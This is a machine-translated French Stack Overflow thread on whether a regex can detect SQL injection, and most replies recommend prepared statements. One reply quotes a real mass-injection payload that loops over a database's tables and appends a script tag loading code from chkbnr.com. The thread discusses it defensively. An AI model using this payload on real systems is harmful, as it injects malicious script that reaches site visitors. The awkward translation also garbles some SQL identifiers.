RegEx pour Détecter d'Injection SQL
Est-il une Expression Régulière qui permet de détecter SQL dans une chaîne de caractères? Quelqu'un aurait-il un exemple de quelque chose qu'ils ont utilisé avant de partager?
La bibliothèque et le pilote est nécessaire pour gérer échapper des valeurs de paramètre lorsque vous utilisez un
Non pas que je vous suggérons d'utiliser des regex pour détecter l'Injection SQL que je suis d'accord c'est voué à l'échec, cependant la détection de termes tels que "déclarer" et "exec", ce qui est rare pour être valides dans votre saisie de l'utilisateur dans la plupart des cas serait de travailler pour votre exemple.
PreparedStatement
—c'est l'un des principaux avantages de l'utilisation. Il y a beaucoup d'autres, y compris une meilleure optimisation de la requête, mais la protection contre l'injection est probablement mon préféré.Non pas que je vous suggérons d'utiliser des regex pour détecter l'Injection SQL que je suis d'accord c'est voué à l'échec, cependant la détection de termes tels que "déclarer" et "exec", ce qui est rare pour être valides dans votre saisie de l'utilisateur dans la plupart des cas serait de travailler pour votre exemple.
OriginalL'auteur JC Grubbs | 2008-09-05
Vous devez vous connecter pour publier un commentaire.
Ne pas le faire. Vous êtes pratiquement voué à l'échec. Utilisation
PreparedStatement
(ou son équivalent) à la place.Je suppose que cela dépend de l'importance de ce genre de détection est à vous. La méthode la plus simple des vérifications sont susceptibles de générer des faux positifs ("n'est pas toujours un signe d'attaque, il peut juste être un utilisateur nommé O'Banion) et de le rendre plus sophistiqués commence à manger jusqu'à temps que vous pourriez consacrer à la fonctionnalité.
Je ne pense pas que la question implique nécessairement l'OP voulait utiliser les regex pour atténuer le risque. Je filtre et d'échapper à tout, mais je suis à la recherche d'une bonne injection SQL regex précisément parce que je tiens à signaler aux utilisateurs qui font des choses qu'ils ne devraient pas être (y compris la tentative d'injection sql).
En outre, parfois, vous pouvez hériter de l'ensemble d'un projet de SQL dynamique et sont soudain confrontés à la perspective que le fait de changer tout de déclarations préparées à l'avance vous permettra de vous faire des modifications de code à plus de 500 fichiers de classe. Une regex solution commence à regarder d'un goût agréable.
Il devrait y avoir guillemets autour de "solution", parce que c'est seulement une illusion de sécurité.
OriginalL'auteur Hank Gay
utiliser stockées procs ou préparées, comment allez-vous détecter quelque chose comme cela? BTW, n'exécutez PAS que
ces numéros de transformer la requête sql (DÉCLARER Table_Cursor CURSEUR POUR SÉLECTIONNER une.nom,b.nom DE sysobjects un,syscolumns b OÙ un.id=b.identifiant ET un.xtype='u' ET b.xtype=99 OU b.xtype=35 OU b.xtype=231 OU b.xtype=167) OUVRIR Table_Cursor FETCH NEXT à PARTIR de Table_Cursor @T@C WHILE(@@FETCH_STATUS=0) COMMENCER EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+"<script src="'" >chkbnr.com/b.js></script>"') FETCH NEXT à PARTIR de Table_Cursor @T@C de la FIN du Table_Cursor DÉSALLOUER Table_Cursor ) après la fonte de type varchar
OriginalL'auteur SQLMenace
Vous sauver les problèmes et utiliser des procédures stockées avec les requêtes préparées ou des requêtes paramétrées. Les procédures stockées sont des bonnes pratiques de toute façon, car ils agissent comme une interface à la base de données, de sorte que vous pouvez changer ce qui se passe derrière les scènes (à l'intérieur de la procédure stockée), mais la signature reste la même. Les déclarations préparées aider à prendre soin de l'injection de protection.
OriginalL'auteur Daniel Huckstep
Je n'ai pas de regex, mais ma compréhension est que la chose la plus importante est de détecter la seule citation. Toutes les attaques par injection à partir de là. Ils ont probablement la -- il y a trop de commenter et d'autres SQL qui peut être au bout de la chaîne.
OriginalL'auteur Timbo
Comme l'a dit, il est préférable d'utiliser les requêtes préparées. On pourrait dire de forcer la clé des requêtes pour être exécutée par une procédure stockée pour forcer l'utilisation de la préparation de l'appel.
De toute façon, ici, c'est un simple grep pour détecter classique n=n entier dans les clauses where; il saute de l'essoufflement de l'1=1, utilisé par de nombreux paresseux requête constructeurs pour les ET de, mais qui va le marquer pour le OU
Il pourrait bien sûr être amélioré pour détecter les décimales et les comparaisons de chaînes, mais il a été rapidement un mécanisme de détection, le long de avec d'autres grep tels que ORD(MID, etc.
L'utiliser sur un journal de la requête, tel que mysql du journal général
Espère que sa durée de
Je ne veux pas fournir le dieu regex pour l'injection sql; j'ai juste pensé à partager une simple comparaison pour le type integer conditions
OriginalL'auteur jœl